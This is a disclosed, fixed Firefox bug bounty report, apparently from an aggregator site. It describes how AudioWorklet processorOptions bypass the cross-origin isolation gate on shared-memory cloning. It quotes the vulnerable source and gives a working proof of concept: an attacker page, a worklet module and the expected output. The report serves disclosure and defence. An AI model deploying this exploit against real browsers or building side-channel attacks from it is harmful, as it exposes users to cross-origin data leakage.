Firefox AudioWorklet processorOptions bypass cross-origin isolation shared-memory cloning restrictions
Firefox's AudioWorkletNode constructor and processor deserialisation enabled shared-memory cloning unconditionally, without checking whether the page was cross-origin isolated. A non-isolated attacker page could therefore pass a shared WebAssembly.Memory or its buffer into an AudioWorklet processor and share memory with it, even though normal messaging APIs reject the same objects.
Originally disclosed on Mozilla
- Fixed in 26 days
- Paid in 3 months
- Disclosed after 26 days
summary
The issue was reproduced on Firefox 152.0a1 buildID 20260619143714. A non-crossOriginIsolated attacker page can create a shared WebAssembly.Memory, pass the memory or its SharedArrayBuffer-backed .buffer through AudioWorkletNode processorOptions, and have an AudioWorkletProcessor mutate and atomically use the same shared memory even though ordinary web structured-clone paths reject the same object unless COOP/COEP enables shared memory.
The attacker-controlled input is the processorOptions object passed to new AudioWorkletNode(context, name, { processorOptions }) from a normal web page. In dom/media/webaudio/AudioWorkletNode.cpp, AudioWorkletNode::Constructor serializes that attacker-controlled options object with a clone policy that unconditionally permits shared-memory objects:
// This context and the worklet are part of the same agent cluster and they
// can share memory.
JS::CloneDataPolicy cloneDataPolicy;
cloneDataPolicy.allowIntraClusterClonableSharedObjects();
cloneDataPolicy.allowSharedMemoryObjects();
// StructuredCloneHolder does not have a move constructor. Instead allocate
// memory so that the pointer can be passed to the rendering thread.
UniquePtr<StructuredCloneHolder> serializedOptions =
MakeUnique<StructuredCloneHolder>(
StructuredCloneHolder::CloningSupported,
StructuredCloneHolder::TransferringNotSupported,
JS::StructuredCloneScope::SameProcess);
serializedOptions->Write(cx, optionsVal, JS::UndefinedHandleValue,
cloneDataPolicy, aRv);
This path omits the page-level shared-memory permission check before calling allowSharedMemoryObjects(). As a result, the constructor accepts shared-memory values that normal web messaging APIs reject for the same non-isolated page.
In dom/media/webaudio/AudioWorkletGlobalScope.cpp, AudioWorkletGlobalScope::ConstructProcessor deserializes the same options with shared memory again unconditionally enabled:
/**
* 5. Let deserializedOptions be the result of
* StructuredDeserialize(serializedOptions, the current Realm).
*/
JS::CloneDataPolicy cloneDataPolicy;
cloneDataPolicy.allowIntraClusterClonableSharedObjects();
cloneDataPolicy.allowSharedMemoryObjects();
JS::Rooted<JS::Value> deserializedOptions(aCx);
aSerializedOptions->Read(aCx, &deserializedOptions, cloneDataPolicy, rv);
if (rv.MaybeSetPendingException(aCx)) {
return false;
}
The worklet realm can therefore receive and operate on a shared buffer even when the page and the worklet hide the SharedArrayBuffer constructor. The missing check violates the trust boundary enforced by the rest of the platform: non-isolated pages should not be able to serialize shared memory into another agent unless shared memory is allowed for that context.
Normal messaging paths demonstrate the intended check. In dom/base/PostMessageEvent.cpp, PostMessageEvent::Run only enables shared-memory deserialization when the target window allows shared memory:
if (targetWindow->IsSharedMemoryAllowed()) {
cloneDataPolicy.allowSharedMemoryObjects();
}
}
holder->Read(cx, &messageData, cloneDataPolicy, rv);
if (NS_WARN_IF(rv.Failed())) {
DispatchError(cx, targetWindow, eventTarget);
return NS_OK;
}
Worker.postMessage applies the same kind of gate in dom/workers/Worker.cpp, enabling shared-memory cloning only when the incumbent window or worker reports IsSharedMemoryAllowed():
if (NS_IsMainThread()) {
nsGlobalWindowInner* win = nsContentUtils::IncumbentInnerWindow();
if (win && win->IsSharedMemoryAllowed()) {
clonePolicy.allowSharedMemoryObjects();
}
} else {
WorkerPrivate* worker = GetCurrentThreadWorkerPrivate();
if (worker && worker->IsSharedMemoryAllowed()) {
clonePolicy.allowSharedMemoryObjects();
}
}
runnable->Write(aCx, aMessage, transferable, clonePolicy, aRv);
The AudioWorklet path is reachable by any secure-context page that can use Web Audio and load a same-origin worklet module. The vulnerability is the inconsistent bypass of the COOP/COEP shared-memory serialization gate through an attacker-controlled processorOptions object.
poc
-
Use Firefox 152.0a1 buildID
20260619143714with default cross-origin isolation behavior. The affected commit is unknown. -
Serve a secure attacker page at
https://ATTACKER_ORIGIN/attacker.htmland a same-origin worklet module athttps://ATTACKER_ORIGIN/shared-memory-processor.js. The attacker page must not sendCross-Origin-Opener-PolicyorCross-Origin-Embedder-Policy, socrossOriginIsolatedisfalse. -
Put this minimal attacker page at
https://ATTACKER_ORIGIN/attacker.html:
<!doctype html>
<button id="go">start</button>
<pre id="out"></pre>
<script>
async function waitForMessage(port) {
return await new Promise(resolve => {
port.onmessage = event => resolve(event.data);
});
}
const cloneGate = value => {
try {
const channel = new MessageChannel();
channel.port1.postMessage(value);
return "accepted";
} catch (error) {
return error.name;
}
};
document.getElementById("go").onclick = async () => {
const context = new AudioContext();
await context.resume();
await context.audioWorklet.addModule("/shared-memory-processor.js");
const run = async (name, processorOptions) => {
const value = processorOptions.memory || processorOptions.buffer;
const view = new Int32Array(processorOptions.memory ? processorOptions.memory.buffer : processorOptions.buffer);
Atomics.store(view, 0, 0);
const node = new AudioWorkletNode(context, "shared-memory-probe", {processorOptions});
node.connect(context.destination);
const before = Atomics.load(view, 0);
const report = await waitForMessage(node.port);
const after = Atomics.load(view, 0);
return {cloneGate: cloneGate(value), before, after, delta: after - before, report};
};
const memory = new WebAssembly.Memory({initial: 1, maximum: 1, shared: true});
const bufferMemory = new WebAssembly.Memory({initial: 1, maximum: 1, shared: true});
document.getElementById("out").textContent = JSON.stringify({
crossOriginIsolated,
sabConstructorType: typeof SharedArrayBuffer,
memory: await run("memory", {memory, index: 0, sentinel: 324478056}),
buffer: await run("buffer", {buffer: bufferMemory.buffer, index: 0, sentinel: 610800471}),
});
};
</script>
- Put this same-origin AudioWorklet module at
https://ATTACKER_ORIGIN/shared-memory-processor.js:
class SharedMemoryProbeProcessor extends AudioWorkletProcessor {
constructor(options) {
super();
const {memory, buffer, index, sentinel} = options.processorOptions;
this.view = new Int32Array(memory ? memory.buffer : buffer);
this.index = index;
this.sentinel = sentinel;
}
process() {
for (let i = 0; i < 4096; i++) {
Atomics.add(this.view, this.index, 1);
}
this.port.postMessage({
sabConstructorType: typeof SharedArrayBuffer,
bufferString: Object.prototype.toString.call(this.view.buffer),
value: Atomics.load(this.view, this.index),
mutated: Atomics.load(this.view, this.index) > 0,
});
return false;
}
}
registerProcessor("shared-memory-probe", SharedMemoryProbeProcessor);
-
Navigate Firefox to
https://ATTACKER_ORIGIN/attacker.htmland clickstart. -
The vulnerable result is that normal structured cloning rejects both shared inputs, but
AudioWorkletNodeaccepts both variants and the processor mutates memory visible to the non-isolated page:
{
"crossOriginIsolated": false,
"sabConstructorType": "undefined",
"memory": {
"cloneGate": "DataCloneError",
"before": 0,
"after": 4096,
"delta": 4096,
"report": {"bufferString": "[object SharedArrayBuffer]", "mutated": true}
},
"buffer": {
"cloneGate": "DataCloneError",
"before": 0,
"after": 4096,
"delta": 4096,
"report": {"bufferString": "[object SharedArrayBuffer]", "mutated": true}
}
}
This proves the specific vulnerability because the same shared memory values are rejected by a normal structured-clone path with DataCloneError in the non-COI page, but cross into the AudioWorklet processor through processorOptions and remain shared.
- As a positive control, serve the same page with
Cross-Origin-Opener-Policy: same-originandCross-Origin-Embedder-Policy: require-corp. In that configurationcrossOriginIsolatedistrue,SharedArrayBufferis exposed, and normal structured-clone paths accept shared memory.
impact
An attacker-controlled non-crossOriginIsolated page can bypass Firefox's COOP/COEP shared-memory structured-clone gate and regain a shared-memory communication and timing primitive between the page and its AudioWorklet. This restores a SAB-like primitive that Firefox blocks for non-isolated pages, including a side-channel building block while ordinary messaging APIs reject the same shared objects.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the AudioWorklet serialisation and deserialisation code enabled shared-memory cloning unconditionally instead of gating it on the page's shared-memory permission, unlike the postMessage and Worker paths.
Impact
A non-isolated attacker page could bypass the COOP/COEP shared-memory gate and regain a shared-memory communication and timing primitive with its AudioWorklet, a side-channel building block that Firefox otherwise blocks.
What the attacker needed
Secure-context attacker page; same-origin worklet module; no COOP/COEP headers on the page; victim visits the attacker page
How it was found
- Serve a secure attacker page without COOP or COEP headers, plus a same-origin worklet module.
- From the page, create a shared WebAssembly.Memory and pass it, or its buffer, in processorOptions to a new AudioWorkletNode.
- In the worklet processor, read and atomically increment the shared memory and report the result back.
- Observe that normal structured cloning rejects the same object with DataCloneError while the worklet accepts it and mutates the shared memory.
- Repeat with COOP and COEP headers as a control, where isolation is on and cloning is accepted.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Browsers normally only let a page share memory with other code when the page opts into a strict isolation mode using special HTTP headers. This report shows that one Firefox feature, the audio worklet, skipped that check, so a page without the headers could still hand a shared memory block to its audio code. That gives back a capability the browser deliberately withholds, which can be used for timing side channels.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.